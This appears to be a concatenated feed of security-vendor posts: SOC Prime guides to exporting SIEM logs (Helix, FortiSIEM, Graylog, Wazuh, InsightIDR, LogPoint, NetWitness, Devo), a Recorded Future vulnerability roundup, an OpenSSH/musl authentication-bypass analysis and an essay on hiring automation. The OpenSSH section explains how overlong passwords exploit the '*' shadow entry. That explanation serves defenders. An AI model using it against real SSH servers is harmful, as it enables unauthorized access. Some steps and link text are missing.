Run your search through the Helix search API: a POST to https://apps.fireeye.com/helix/id/<instance-id>/api/v1/search with your API key in the x-fireeye-api-key header and the query in the body. Regional instances use their own hosts, such as helix.eu.fireeye.com. The results come back as JSON, and the original log line is kept in the raw message field.

Trellix Helix, formerly FireEye Helix and called Helix Enterprise in newer docs, combines log search with detection content. Prime Core has 18,667 detection rules for Trellix Helix, mapped to 632 MITRE ATT&CK techniques. Below is how to get events out, sanitize them, and investigate them for free in LogTotal.

Get Started For Free

Before you start

An API key. Create one in Trellix Identity and Access Management under API Keys, with the search scopes your query needs.

Your instance ID. It’s shown in the top-left corner of the Helix interface, and it goes into every API URL.

The query language. Helix uses TQL, which replaced MQL. Free-text terms without a field are matched against the raw message index. Build and test the query in the Helix search page first.

Export with the search API

HELIX="https://apps.fireeye.com/helix/id/<instance-id>"

curl -sS -X POST "$HELIX/api/v1/search" \
  -H "x-fireeye-api-key: $HELIX_KEY" -H 'Content-Type: application/json' \
  -d '{"query": "hostname:\"web-03\""}' \
  > helix_web03_1019.json

Once you know the structure, flatten it to one event per line with jq -c, and pull out the raw field with jq -r when the source was text.

Upload, sanitize and review in LogTotal

1. Upload. Open logtotal.com and drop in the file.
2. Sanitize. 
3. Review.

What this looks like on real data.

When it goes wrong

The post How to Export Trellix Helix Logs appeared first on SOC Prime.

In October 2026, Insikt Group® identified 82 high-impact vulnerabilities to prioritize for remediation, 52 of which had a Very Critical Recorded Future Risk Score. This represents a 13% decrease from the 94 vulnerabilities reported in September.

36 of October’s high-impact CVEs were surfaced through the US Cybersecurity and Infrastructure Security Agency (CISA)’s Known Exploited Vulnerabilities (KEV) catalog, 33 were reported in open sources and validated by Insikt Group, and 13 were exclusively surfaced through honeypot data.

The 82 vulnerabilities in this report affected products from 51 vendors, with Citrix and Microsoft together accounting for approximately 15% of the vulnerabilities. The remaining exposure spanned network edge and security management appliances; operating systems and endpoint software; collaboration, content management, and enterprise platforms; and artificial intelligence (AI), developer, and automation tools.

Insikt Group created a Nuclei template to detect the two PHP2Shell vulnerabilities (CVE-2026-109618 and CVE-2026-109619). Insikt Group also published templates for CVE-2026-87902 (WordPress) and CVE-2026-86124 (AutoAgent). These are available to customers in the Recorded Future Intelligence Operations Platform.

Quick reference: October 2026 vulnerability table

All 69 vulnerabilities below were actively exploited or operationally weaponized in October 2026. This table does not include the 13 CVEs that were exclusively surfaced through honeypot data, which are available to Recorded Future Intelligence Platform customers via the CVE Monthly report. The table below also provides examples of public PoCs identified by Insikt Group. These PoCs were not tested for accuracy or efficacy. Vulnerability management teams should exercise caution and verify the validity of PoCs before testing.

Table 1: List of vulnerabilities that were actively exploited in October 2026 based on Recorded Future data (excluding honeypot-sourced CVEs).

Key trends: October 2026

• PHP2Shell reporting covered confirmed honeypot shell execution, a Fragnesia chain yielding root access on 25 servers, and Potassium-associated payload attempts. Other PHP2Shell activity involved suspected preparations for a North Korean attack, which was assessed with moderate confidence as linked to the Lazarus Group. Other exploitation activity this month included Longlegs deploying Warlock ransomware; ransomware groups exploiting PAN-OS; CL-STA-0954 targeting Fortinet products for data theft; PEERSTITCH deployment; Integrity Technology Group-enabled espionage; CyberXero’s AI-assisted exploitation; and ClingSTUN deployment.
• 37 of the 82 vulnerabilities enabled remote code execution (RCE). Collaboration, content-management, and enterprise platforms were the most affected product type, with 12 vulnerabilities. Microsoft had the largest vendor share, with three vulnerabilities.
• Insikt Group identified public proof-of-concept (PoC) exploits or scanners for 37 of the 82 vulnerabilities in this report.
• The most common weakness class was CWE-78 (OS Command Injection), with eight vulnerabilities, followed by CWE-287 (Improper Authentication), with seven. CWE-22 (Path Traversal) and CWE-77 (Command Injection) each affected six vulnerabilities.
• 10 of the 82 vulnerabilities were at least five years old, and the oldest was approximately 16 years old.

Trend analysis

PHP2Shell exploitation enables root access and internal pivoting

In October, two vulnerabilities in PHP, CVE-2026-109618 and CVE-2026-109619 (collectively referred to as “PHP2Shell”), drew attention from threat actors, who also chained them with CVE-2026-46300, a Linux kernel vulnerability known as Fragnesia. Following their disclosure, Insikt Group published multiple notes and detection rules involving PHP2Shell in October. Highlights from our coverage include:

• Root access and internal pivoting: A TTP Instance detailed a campaign chaining CVE-2026-109618 (PHP) and CVE-2026-109619 (PHP) with CVE-2026-46300 (Linux kernel), also known as Fragnesia. Dream Research reported root access on 25 servers, including systems in a US government-affiliated environment. PHP2Shell provided initial access, and Fragnesia enabled privilege escalation. The actor deployed web shells, stole configurations, credentials, and private keys, and maintained reverse Secure Shell (SSH) tunnels to internal systems, enabling service-account password decryption and Active Directory enumeration. Domain-account creation was attempted but not confirmed.
• Technical analysis and exploit development: A separate TTP Instance explained PHP2Shell’s memory-lifecycle failures enabling unauthenticated remote code execution (RCE), highlighting Apache mod_php exposure and unvalidated early PoCs. Separate TTP Instances covering reports from SOCRadar and AkatsukiLegion described actor-staged exploits, prerequisite checks, and a memory-leak-to-command-execution chain.
• Threat actor pre-positioning: Two other TTP Instances covered PHP2Shell tooling on an extortion actor’s staging server and CYFIRMA’s assessment of suspected North Korean preparations using 21 compromised nodes to check 216 hosts. CYFIRMA assessed a Lazarus Group connection with moderate confidence. Neither earlier shared-hosting intrusions nor attack preparations established a successful PHP2Shell compromise.
• Botnet activity: A TTP Instance covering Arctic Wolf and Cisco Talos described probes and payload-download attempts associated with Potassium, a Mirai-derived botnet. In separate TTP Instances covering Linux bots reported by Joe Security and Nextron Research, Insikt Group corroborated remote-shell, evasion, and denial-of-service capabilities in the former, and PHP2Shell testing, scanning, downloads, and persistence in the latter. These findings did not confirm successful malware delivery through PHP2Shell.
• Detection rule coverage: Insikt Group created Sigma rules for Linux and Windows to detect web or PHP workers spawning shells, including PowerShell, and Suricata and Snort rules for multipart session-ID and upload-progress requests. Network detection requires visible HTTP bodies. Correlate these alerts with process creation, worker errors, and outbound activity because individual matches can be benign.
• Separate PHP vulnerability: A TTP Instance reported on CVE-2026-115560 (PHP), a vulnerability distinct from PHP2Shell that could enable unauthenticated RCE in applications switching session serializers while upload progress is enabled. No in-the-wild exploitation was established at the time of publication. PHP recommended disabling session upload progress pending a separate fix; the initial PHP2Shell patches did not address this vulnerability.

Figure 1: Vulnerability Intelligence Card® for CVE-2026-109618 (PHP2Shell) in Recorded Future (Source: Recorded Future)

Use FortiSIEM’s REST event query API. Post an XML query to /phoenix/rest/query/eventQuery, which returns a query ID, poll the progress until it reaches 100, then fetch the events. The results come back as XML. The original log line of each event is in the rawEventMsg attribute, so a few lines of Python turn the result into raw logs. Exports from the Analytics screen come out in formats LogTotal doesn’t read today. 

FortiSIEM is common wherever Fortinet runs the network, and it often holds far more than firewall logs. Prime Core has 19,692 detection rules for FortiSIEM, mapped to 664 MITRE ATT&CK techniques. Below is how to get events out, sanitize them, and investigate them for free in LogTotal.

Get Started For Free

Before you start

An API user. Use an account with rights to run analytics queries. The API authenticates with basic auth, with the organization in the username: super/<user> on an enterprise install, <org>/<user> for a specific organization in a service provider install.

Retention. Online event storage is limited. Older events may sit in archive storage that needs extra steps. 

Attribute names. FortiSIEM queries use its own attribute names, such as reptDevName (reporting device), reptDevIpAddr, eventType and phRecvTime. Build the filter in Analytics first.

Export with the event query API

Save the query as query.xml:

<?xml version="1.0" encoding="UTF-8"?>
<Reports><Report><Name>LogTotal export</Name><Description/>
  <SelectClause><AttrList>phRecvTime,reptDevIpAddr,eventType,rawEventMsg</AttrList></SelectClause>
  <ReportInterval><Low>1792368000</Low><High>1792454400</High></ReportInterval>
  <PatternClause><SubPattern id="1" name="Filter">
    <SingleEvtConstr>reptDevName = "web-03"</SingleEvtConstr>
  </SubPattern></PatternClause>
</Report></Reports>

The interval is epoch seconds for 2026-10-19 00:00 UTC to 2026-10-20 00:00 UTC. Then run it:

FSM="https://fortisiem.example.com"
AUTH="super/apiuser:$FSM_PASS"

QID=$(curl -sS -u "$AUTH" -X POST -H 'Content-Type: text/xml' --data @query.xml "$FSM/phoenix/rest/query/eventQuery")
until [ "$(curl -sS -u "$AUTH" "$FSM/phoenix/rest/query/progress/$QID")" = "100" ]; do sleep 5; done
curl -sS -u "$AUTH" "$FSM/phoenix/rest/query/events/$QID/0/1000" > fsm_web03_1019.xml

The last two path segments are the start offset and the count. Page through large results in steps of 1,000. Then pull out the raw messages:

import xml.etree.ElementTree as ET

import xml.etree.ElementTree as ET

root = ET.parse("fsm_web03_1019.xml").getroot()
with open("fsm_web03_1019.log", "w") as out:
    for attr in root.iter("attribute"):
        if attr.get("name") == "rawEventMsg" and attr.text:
            out.write(attr.text.strip() + "\n")

Upload, sanitize and review in LogTotal

1. Upload. Open logtotal.com and drop in the file.
2. Sanitize.
3. Review.

What this looks like on real data. 

When it goes wrong

The post How to Export FortiSIEM Logs appeared first on SOC Prime.

Graylog keeps its messages in OpenSearch or Elasticsearch, so you have two routes. Use the Graylog REST API, authenticated with an access token, or query the backend indices (graylog_* by default) directly with a script. Either way you get JSON. The original line is in message, and in full_message for some inputs. The export in the Graylog web interface produces a format LogTotal doesn’t read today. 

Graylog is a popular open log management platform, often the first central logging a team sets up. Prime Core has 23,274 detection rules for Graylog, mapped to 671 MITRE ATT&CK techniques. Below is how to get messages out, sanitize them, and investigate them for free in LogTotal.

Get Started For Free

Before you start

An access token. In Graylog, open your user’s settings and create a token. With the API, you authenticate as <token>:token: the token as the username and the word token as the password.

Backend access, if you go direct. The OpenSearch or Elasticsearch cluster behind Graylog often isn’t reachable from outside. Ask whoever runs it for a read-only account.

Streams and index sets. Graylog routes messages into streams, and streams map to index sets with their own prefixes and retention. Know which index set holds your data.

Option 1: Graylog REST API

GL="https://graylog.example.com"

curl -sS -u "$GL_TOKEN:token" -H 'Accept: application/json' -G "$GL/api/search/universal/absolute" \
  --data-urlencode 'query=source:web-03' \
  --data-urlencode 'from=2026-10-19T00:00:00.000Z' \
  --data-urlencode 'to=2026-10-20T00:00:00.000Z' \
  --data-urlencode 'limit=10000' \
  | jq -c '.messages[].message' > graylog_web03_1019.jsonl

Newer Graylog versions favor the Views search API. For large exports, Option 2 is more reliable.

Option 2: Query the backend indices

This is the same approach as our pointed at Graylog’s indices:

import json, os
from opensearchpy import OpenSearch, helpers

client = OpenSearch("https://opensearch.example.com:9200",
                    http_auth=("reader", os.environ["OS_PASSWORD"]), verify_certs=True)
query = {"query": {"bool": {"filter": [
    {"term": {"source": "web-03"}},
    {"range": {"timestamp": {"gte": "2026-10-19 00:00:00.000", "lt": "2026-10-20 00:00:00.000"}}},
]}}}

with open("graylog_web03_1019.jsonl", "w") as out:
    for hit in helpers.scan(client, index="graylog_*", query=query, size=1000):
        out.write(json.dumps(hit["_source"]) + "\n")

Graylog stores timestamp as yyyy-MM-dd HH:mm:ss.SSS in UTC, which is why the range uses that format. For a backend running Elasticsearch, use the elasticsearch client the same way.

Upload, sanitize and review in LogTotal

1. Upload. Open logtotal.com and drop in the file. 
2. Sanitize. 
3. Review. 

When it goes wrong

The post How to Export Graylog Logs appeared first on SOC Prime.

Wazuh keeps its data in two places. On the Wazuh manager, alerts are written to /var/ossec/logs/alerts/alerts.json, one JSON object per line, and rotated daily into compressed files by date. The same alerts are indexed in the Wazuh indexer (OpenSearch), in wazuh-alerts-4.x-*. Either way, the original log line that triggered an alert is in full_log. To export every event, not just the ones that matched a rule, the manager needs archiving turned on.

Wazuh is the most widely used open-source SIEM and XDR, and its data is easy to get at once you know where to look. Prime Core has 23,542 detection rules for Wazuh, mapped to 671 MITRE ATT&CK techniques. Below is how to export alerts and events, sanitize them, and investigate them for free in LogTotal.

Get Started For Free

Before you start

Alerts or archives? Alerts are the events that matched a Wazuh rule above the alert level threshold. Archives hold everything the manager received, but only if logall_json is enabled in ossec.conf. If the question is “what else happened on that host?”, you want archives, and they only exist from the moment they were turned on.

Permissions. On the manager, the files are owned by the wazuh user and group, so use sudo. For the indexer, you need a user with read access to the alert indices.

Retention. The manager’s rotated files stay until someone deletes them. The indexer keeps what its index lifecycle policy allows.

Option 1: Files on the manager

# today's alerts so far
sudo cp /var/ossec/logs/alerts/alerts.json ./wazuh_alerts_today.jsonl

# a past day (rotated and compressed)
sudo zcat /var/ossec/logs/alerts/2026/Oct/ossec-alerts-19.json.gz > wazuh_alerts_1019.jsonl

# one agent only
jq -c 'select(.agent.name == "web-03")' wazuh_alerts_1019.jsonl > web-03_alerts_1019.jsonl

# the original log lines behind the alerts
jq -r '.full_log // empty' web-03_alerts_1019.jsonl > web-03_raw_1019.log

With archiving enabled, the same pattern works for /var/ossec/logs/archives/archives.json and its rotated files under /var/ossec/logs/archives/<year>/<month>/.

Option 2: The Wazuh indexer

The indexer is OpenSearch, so our applies as written. Point it at wazuh-alerts-* and filter on agent.name and timestamp:

query = {"query": {"bool": {"filter": [
    {"term": {"agent.name": "web-03"}},
    {"range": {"timestamp": {"gte": "2026-10-19T00:00:00Z", "lt": "2026-10-20T00:00:00Z"}}},
]}}}

The Wazuh dashboard can also generate reports, but not in a format LogTotal reads today.

Upload, sanitize and review in LogTotal

1. Upload. Open logtotal.com and drop in the file: the alert JSON, or the raw lines from full_log. 
2. Sanitize. 
3. Review.

When it goes wrong

The post How to Export Wazuh Logs appeared first on SOC Prime.

A high-severity vulnerability in OpenSSH can allow unauthenticated remote attackers to bypass password authentication on certain Linux systems by submitting an overlong password. Tracked as CVE-2026-123158 and dubbed SSHhole, the flaw carries a CVSS 3.1 score of 8.1 and primarily impacts Linux environments where sshd is linked against musl libc and operates without PAM. Alpine Linux is the most prominent affected platform because its standard openssh-server package uses this configuration by default.

The vulnerability results from an unexpected interaction between OpenSSH password validation and musl libc’s crypt() implementation. When an excessively long password is supplied, crypt() can return the string * to indicate an error. Some Linux accounts that are configured without a conventional password also store * in the password field of /etc/shadow. Under vulnerable conditions, sshd can incorrectly interpret the matching values as successful authentication.

An attacker does not need to know the target user’s password. If an exposed SSH service meets the required conditions, an attacker who can reach the service can authenticate to certain accounts using a password in the vulnerable length range. The impact depends on the privileges assigned to the compromised account. Access to a privileged service account or an account capable of using doas or another privilege escalation mechanism could lead to full system compromise.

Contact Sales

OpenSSH addressed the issue in Portable OpenSSH 10.6p2, released on November 5, 2026. Alpine Linux simultaneously released patched OpenSSH packages for all supported branches and several older branches. The OpenSSH team describes the release as containing a critical security workaround for Linux systems using musl libc with PAM disabled.

Public reproduction environments and proof-of-concept material are already available. However, as of November 6, 2026, the reviewed sources do not report confirmed exploitation of the vulnerability in real-world attacks, and the flaw has not been added to CISA’s Known Exploited Vulnerabilities catalog.

Organizations can strengthen defenses against emerging authentication bypass vulnerabilities with SOC Prime’s AI-Native Detection Intelligence Platform, accelerating threat hunting and detection engineering across SIEM, EDR, XDR, and Data Lake environments.

Security teams can also use Prime Architect to transform vulnerability intelligence into hunting queries and detection logic tailored to their available SSH, authentication, endpoint, and network telemetry.

Detect CVE-2026-123158 by monitoring successful password-based SSH logins to accounts that normally use key-only authentication, unusual authentication attempts containing abnormally long passwords, unexpected remote access to service accounts, and post-authentication activity inconsistent with the account’s normal behavior.

Detection content may not be available for every CVE. Check the SOC Prime Platform for current coverage. If relevant detections are not yet available, check again as new threat intelligence and detection content are continuously added.

CVE-2026-123158 analysis

CVE-2026-123158 affects OpenSSH sshd before Portable OpenSSH 10.6p2 when it runs on Linux with musl libc and password authentication occurs without PAM. The CVE carries a CVSS 3.1 score of 8.1 with the vector AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H, reflecting remote exploitation without prior privileges or user interaction but requiring a specific system and account configuration.

The root cause lies in the interaction between OpenSSH and the password hashing function provided by musl libc.

On systems where PAM is disabled, sshd performs password validation using the system’s crypt() functionality. For a typical account, /etc/shadow contains a cryptographic password hash, and the value generated from the user’s submitted password is compared against that stored hash.

musl libc behaves differently when the supplied password exceeds its supported input length. For passwords longer than 256 bytes, crypt() returns * as an error value rather than a normal password hash.

The problem arises because * is also commonly used in /etc/shadow for accounts that do not have a traditional password configured.

If a vulnerable sshd receives an overlong password for one of these accounts, the authentication flow can effectively compare the * returned by crypt() with the * stored in the account’s shadow entry. The values match, and authentication can incorrectly succeed.

The CVE description states that, for affected account configurations, passwords between 256 and 1024 characters can result in successful authentication. Independent reproductions describe passwords exceeding the normal 256-byte boundary as sufficient to trigger the vulnerable condition.

The flaw is therefore not a universal password bypass affecting every OpenSSH deployment.

Several specific conditions must align.

First, the server must use musl libc. Alpine Linux is the primary mainstream example, although other embedded or minimal Linux environments can also use musl.

Second, sshd must authenticate users without PAM. Alpine’s standard openssh-server package is built without PAM, while the alternative openssh-server-pam configuration is protected when UsePAM yes is enabled.

Third, password authentication must be enabled. PasswordAuthentication yes is the relevant configuration. Systems configured for public-key-only authentication with PasswordAuthentication no are not exposed to the documented attack path.

Finally, the attacker needs an account whose password field contains *. These can include key-only users, accounts created without passwords, some identities provided through directory services, and certain cloud-image users.

Alpine also notes an additional condition: at least one local account must contain a $5$ or $6$-style password hash for the vulnerable authentication path to operate as described.

The root account deserves special attention. Alpine commonly stores root:*, but OpenSSH’s default PermitRootLogin prohibit-password prevents password authentication directly to root. As a result, a standard Alpine installation does not automatically expose direct root login through this bug.

That protection does not eliminate the broader risk. If another account with * in its password field is remotely accessible and has administrative rights through doas, sudo, container capabilities, or other privileged mechanisms, successful authentication can still provide a path to complete system compromise.

Alpine’s official tiny-cloud images are particularly relevant. Security research identified versions where the alpine account could meet the vulnerable conditions and was also able to use doas to gain elevated privileges. This illustrates why defenders should evaluate account privileges rather than assuming the vulnerability provides either harmless user access or automatic root access in every environment.

glibc-based Linux distributions such as Debian, Ubuntu, and RHEL are not affected by this specific vulnerability because the vulnerable behavior depends on musl libc’s password hashing implementation. Systems using PAM for SSH password validation are likewise outside the documented vulnerable configuration.

Containers require similar qualification. Alpine is widely used as a container base image, but ordinary containers that do not run sshd are not vulnerable through this attack path. The primary concern is containers, appliances, development environments, or legacy workloads that explicitly install and expose an SSH server.

The CVE-2026-123158 PoC landscape has developed quickly. Public reproduction labs are referenced directly by the vulnerability record, demonstrating that defenders should assume the authentication bypass can be reproduced without access to private exploit research. This materially raises remediation urgency even though confirmed malicious exploitation has not yet been reported.

The vulnerability was reported by Özgün Kültekin of Wakefield. OpenSSH publicly released version 10.6p2 with the security workaround on November 5, 2026. The reviewed primary sources do not specify the exact date on which the researcher initially discovered or privately reported the issue.

The OpenSSH fix adds validation designed to prevent error values and invalid short password hashes from being accepted during password authentication. OpenSSH notes that it considers the underlying root cause to exist outside sshd, but because the condition can be exploited through the SSH server, the project implemented a defensive workaround in OpenSSH itself.

Alpine Linux has backported the correction across multiple branches:

Administrators should rely on their distribution package status rather than the SSH version banner alone. Linux distributions frequently backport security patches without changing the upstream OpenSSH version displayed during the SSH handshake. A server displaying an older version string may therefore already contain the vendor fix.

For CVE-2026-123158 detection, defenders should prioritize SSH authentication telemetry. A particularly strong hunting signal is a successful password login to an account that is intended to use only public-key authentication or that has no usable password configured.

On Alpine systems, administrators can review /var/log/messages, centralized authentication logs, SIEM records, or equivalent telemetry for Accepted password events involving unexpected service, key-only, or administrative accounts.

Defenders should correlate successful authentication with source IP addresses, login times, session duration, commands executed after login, privilege elevation, changes to authorized_keys, account creation, scheduled jobs, and unexpected outbound network connections.

Network telemetry can also help identify exposed systems. Externally reachable SSH services advertising password or keyboard-interactive authentication should receive higher remediation priority, particularly when the underlying system is Alpine or another musl-based distribution.

At present, there are no campaign-specific CVE-2026-123158 IOCs such as confirmed attacker IP addresses, domains, malware hashes, or command-and-control infrastructure. The absence of static indicators makes behavioral monitoring of SSH authentication and subsequent session activity particularly important.

CVE-2026-123158 Mitigation

The primary remediation is to install OpenSSH 10.6p2 or the corrected package supplied by the Linux distribution. Alpine administrators should update the full system using the current package repositories and restart sshd afterward. Updating the package alone does not replace the already running SSH daemon process.

Organizations running Alpine-based containers should rebuild and redeploy any image that installs openssh-server. Simply updating the host operating system does not patch vulnerable OpenSSH packages embedded inside container images.

Administrators should also identify exposure before assuming that every Alpine host is vulnerable. Key checks include:

1. Determine whether the host uses musl libc.
2. Verify whether sshd is running with PAM disabled.
3. Check whether password authentication is enabled.
4. Identify login-capable accounts whose /etc/shadow password field is *.
5. Review the privileges assigned to those accounts.
6. Confirm the installed OpenSSH package against the distribution’s corrected package version.

If immediate patching is impossible, organizations should disable SSH password authentication.

Configure:

PasswordAuthentication no

and, where applicable:

KbdInteractiveAuthentication no

Administrators should confirm that public-key authentication works before applying this configuration to avoid losing legitimate administrative access.

The SSH configuration should then be validated and the daemon reloaded or restarted. Afterward, external verification should confirm that the server offers only public-key authentication.

Restricting network accessibility provides additional defense in depth. SSH should generally be reachable only from trusted administrative networks, VPN infrastructure, bastion hosts, or explicit source-IP allowlists rather than being universally exposed to the internet.

Organizations should also reconsider whether SSH is required inside containers at all. Modern orchestration environments usually provide alternatives such as docker exec or kubectl exec, eliminating an unnecessary remotely reachable authentication service.

For potentially exposed systems, review historical successful password logins occurring before remediation. Pay particular attention to accounts configured without passwords and identities normally expected to authenticate exclusively with SSH keys.

If an unexpected successful login is identified, treat the account as potentially compromised. Review shell history where available, process execution, privilege escalation, new or modified authorized_keys entries, user and group changes, cron jobs, startup scripts, package installation, and outbound network connections.

Credentials and keys accessible to the compromised account should be considered potentially exposed and rotated according to the findings of the investigation. If the account had administrative privileges, defenders should expand the investigation to the entire host and any systems reachable using credentials stored there.

Public proof-of-concept material means organizations should not wait for evidence of widespread attacks before applying the fix. The exploitation prerequisites narrow the vulnerable population, but systems that meet those conditions can be accessed remotely without knowledge of a valid password.

The post CVE-2026-123158: OpenSSH Password Authentication Bypass Affects Alpine Linux appeared first on SOC Prime.

Use the Log Search API. Send a LEQL query for a log and a time window to https://<region>.rest.logs.insight.rapid7.com/query/logs/<log-key> with your API key in the X-Api-Key header. The API returns events in pages and gives you a link to the next one. Log Search in the UI can export results too.

InsightIDR collects endpoint, network and cloud logs for Rapid7 customers, and its Log Search is where investigations usually start. Prime Core has 23,965 detection rules for InsightIDR, mapped to 676 MITRE ATT&CK techniques. Below is how to get logs out, sanitize them, and investigate them for free in LogTotal.

Get Started For Free

Before you start

An API key. Create one in the Insight Platform settings (an organization key or a user key) with access to InsightIDR.

Your region. The host depends on where your data lives: us, us2, us3, eu, ca, au, ap.

Log keys. Each log has a key, and queries run against one or more of them. List them with the API, as shown below.

Retention. How far back Log Search goes depends on your subscription.

Export with the Log Search API

REGION=us
BASE="https://$REGION.rest.logs.insight.rapid7.com"
FROM=$(date -d '2026-10-19T00:00:00Z' +%s000)
TO=$(date -d '2026-10-20T00:00:00Z' +%s000)
Q=$(printf '%s' 'where(hostname=web-03)' | jq -sRr @uri)

# list logs and their keys
curl -sS -H "X-Api-Key: $R7_KEY" "$BASE/management/logs" | jq -r '.logs[] | "\(.id)  \(.name)"'

# query one log, following the pages
URL="$BASE/query/logs/<log-key>?query=$Q&from=$FROM&to=$TO&per_page=500"
while [ -n "$URL" ]; do
  RESP=$(curl -sS -H "X-Api-Key: $R7_KEY" "$URL")
  echo "$RESP" | jq -c '.events[]?'
  URL=$(echo "$RESP" | jq -r '.links[]? | select(.rel == "Next") | .href' | head -1)
done > r7_web03_1019.jsonl

Long-running queries may first answer with a link to poll instead of results. Each event’s message field holds the log entry. Extract it with jq -r ‘.message’ when the source was text.

Upload, sanitize and review in LogTotal

1. Upload. Open logtotal.com and drop in the file.
2. Sanitize. Look it over before you continue.
3. Review.

What this looks like on real data.

When it goes wrong

The post How to Export Rapid7 InsightIDR Logs appeared first on SOC Prime.

Use LogPoint’s Search API, which works in two calls to the same endpoint, /getsearchlogs. The first call sends your query, time range and repos, and returns a search_id. The second call sends that search_id and returns the rows once the search is final. Both calls are form-encoded POSTs authenticated with your username and secret key.

LogPoint is a popular SIEM in Europe, and the Search API is the cleanest way to get a defined slice of its data out. Prime Core has 19,598 detection rules for LogPoint, mapped to 664 MITRE ATT&CK techniques. Below is how to get logs out, sanitize them, and investigate them for free in LogTotal.

Get Started For Free

Before you start

Your secret key. Every API call carries your LogPoint username and secret key. You find the key in your user profile’s access key settings. Treat it like a password.

Repo names. Searches run against repos, written as <ip>:5504/<repo>, for example 127.0.0.1:5504/_logpoint. The same endpoint family lists them for you (getalloweddata with type logpoint_repos).

Time range. time_range takes either a preset like “Last 24 hours” or a pair of epoch seconds. For incident work, use the epoch pair; date -d ‘2026-10-19T00:00:00Z’ +%s computes it.

Export with the Search API

LP="https://logpoint.example.com"

# 1. start the search (2026-10-19 00:00 UTC to 2026-10-20 00:00 UTC)
SID=$(curl -sS "$LP/getsearchlogs" \
  --data-urlencode "username=$LP_USER" --data-urlencode "secret_key=$LP_KEY" \
  --data-urlencode 'requestData={"query": "device_ip=10.0.0.5", "time_range": [1792368000, 1792454400], "limit": 10000, "repos": ["127.0.0.1:5504/_logpoint"]}' \
  | jq -r '.search_id')

# 2. fetch results until the search is final
while :; do
  R=$(curl -sS "$LP/getsearchlogs" \
      --data-urlencode "username=$LP_USER" --data-urlencode "secret_key=$LP_KEY" \
      --data-urlencode "requestData={\"search_id\": \"$SID\"}")
  [ "$(echo "$R" | jq -r '.final')" = "true" ] && break
  sleep 3
done

echo "$R" | jq -c '.rows[]' > logpoint_1019.jsonl
echo "$R" | jq -r '.rows[].msg // empty' > logpoint_1019_raw.log

Keep the query a filter. A query with | chart or other aggregations returns aggregated rows, not logs. The raw log usually sits in the msg field.

Upload, sanitize and review in LogTotal

1. Upload. Open logtotal.com and drop in the file.
2. Sanitize.
3. Review.

What this looks like on real data.

When it goes wrong

The post How to Export LogPoint Logs appeared first on SOC Prime.

The Hiring Automation “Doom Loop” Is a Warning

Hiring offers an instructive example of how humans can be sidelined by a process accelerated by unchecked automation. Machine-assisted decision-making has long been used in the hiring process to manage volume and improve fairness and efficiency. However, generative AI has made reading and writing job applications almost completely machine-dominated, leading the CEO of Greenhouse, a human resources platform, to declare that AI had created a "doom loop" in hiring. No one intended to create this doom loop, but the adoption of automation in one area led to accelerated adoption in others, ultimately sidelining humans from hiring decisions.

The hiring doom loop is driven by two mutually reinforcing trends: more applicants are applying for each position, and more companies are relying on automation to sift through the growing volume of applications. Applicants per hire tripled between 2021 and 2024, according to one survey of hiring managers, and Greenhouse reported a 412% increase in applicants per post. Applicants are almost certainly using generative AI to spin up customized applications to hundreds of jobs at once.

Meanwhile, 91% of HR departments report using AI in recruitment, and Greenhouse data shows that the number of human recruiters has dropped by over 50%. The recruiters who remain cannot meaningfully evaluate any single application at this volume, further reducing human decision-making in the hiring process. Some companies now use AI to conduct interviews, meaning applicants may not meet an actual human at the company until very late in the process, if at all.

Despite the intention of using AI to improve efficiency and manage scale, only one-third of recruiters reported improvements in time-to-hire using AI, while 25% reported it got slower. More companies are lengthening probationary periods, a sign that they're increasingly unable to identify unsuitable candidates before hiring them. Many job hunters express frustration with encountering bots instead of real humans at their potential future employer. At the same time, scammers and state-sponsored cybercriminals have taken advantage of this automated landscape to advance candidates whose real objective is to steal secrets or cryptocurrency.

A few factors made hiring one of the first processes to fall victim to the doom loop. Hiring managers were early adopters of automation, using technology like keyword-based filters to parse resumes. At the same time, successful cover letters and resumes tend to follow a formula, which makes them easy to convincingly replicate with generative AI. However, there are two factors that are not unique to hiring that make it susceptible to doom loop dynamics:

• Incentives for speed and scale: as competition increases, candidates are rewarded for applying to more jobs, faster.
• Mutually reinforced automation: as application volume outgrew what individuals could manage, automation spread further into the hiring process. This, in turn, drives candidates to prioritize impressing the bots rather than their future human co-workers.

The hiring doom loop is a valuable case study for managing automation because it forces leaders to account for factors outside of their direct control. Instead of responding to machine volume with more automation, developers must think strategically about the intended outcomes and potential second-order effects to ensure systems remain aligned with human intent.

Figure 1: The anatomy of a doom loop (Source: Recorded Future)

In NetWitness Investigate, run your query in the Events view, select the events (or all of them), and download the logs. Pick Text to get the raw log lines, or JSON for structured events. Large downloads run as jobs; you collect the file from the Jobs tray when it’s ready. By default, one export can include up to 100,000 sessions.

NetWitness, formerly RSA NetWitness, stores logs on Log Decoders and makes them searchable through Concentrators and Brokers. Prime Core has 18,461 detection rules for NetWitness, mapped to 631 MITRE ATT&CK techniques. Below is how to get logs out, sanitize them, and investigate them for free in LogTotal.

Before you start

Access to Investigate. You need a role that can investigate the service (Broker or Concentrator) holding the logs.

Set the export format once. In Profile → Preferences → Investigation, the Export Log Format preference decides the default format for downloads: Text, XML, CSV or JSON. Choose Text for raw logs. If it’s left empty, NetWitness asks every time.

Retention. How far back you can go depends on Log Decoder storage. Older logs may only exist in an archiver, if you have one.

Export from Investigate

1. Open Investigate → Events, pick the service, and set the time range.
2. Query with meta keys (example below).
3. Run the query and check the count.
4. Select the events you want, or none to take all of them, and choose the download option for logs (Text or JSON).
5. Open the Jobs tray (the stopwatch icon) and download the file when the job finishes.

A query for one Linux host looks like this. For Windows logs, device.type = ‘winevent_nic’ is the common log parser.

device.type = 'rhlinux' && alias.host = 'web-03'

For a single event, the Text tab of the event details has its own download options for the raw log.

The Max Session Export setting caps how many sessions one export can include (100,000 by default). For bigger windows, split by time.

Option 2: REST API on the services

Concentrators and Brokers expose a REST interface that can run queries and return log content. That suits scripted exports.

Upload, sanitize and review in LogTotal

1. Upload. Open logtotal.com and drop in the file.
2. Sanitize.
3. Review.

What this looks like on real data.

When it goes wrong

The post How to Export NetWitness Logs appeared first on SOC Prime.

Use the Devo Query API: send a LINQ query, a time range and an output mode to the /search/query endpoint of your region, authenticated with an API token or key and secret. Ask for a JSON mode and you get structured events; select the message field from raw tables to get the original lines back. The official Python SDK (devo-sdk) wraps the same API if you prefer code to curl.

Devo stores large volumes of security and operational data in the cloud, often with long retention. Prime Core has 23,653 detection rules for Devo, mapped to 664 MITRE ATT&CK techniques. Below is how to get data out, sanitize it, and investigate it for free in LogTotal.

Get Started For Free

Before you start

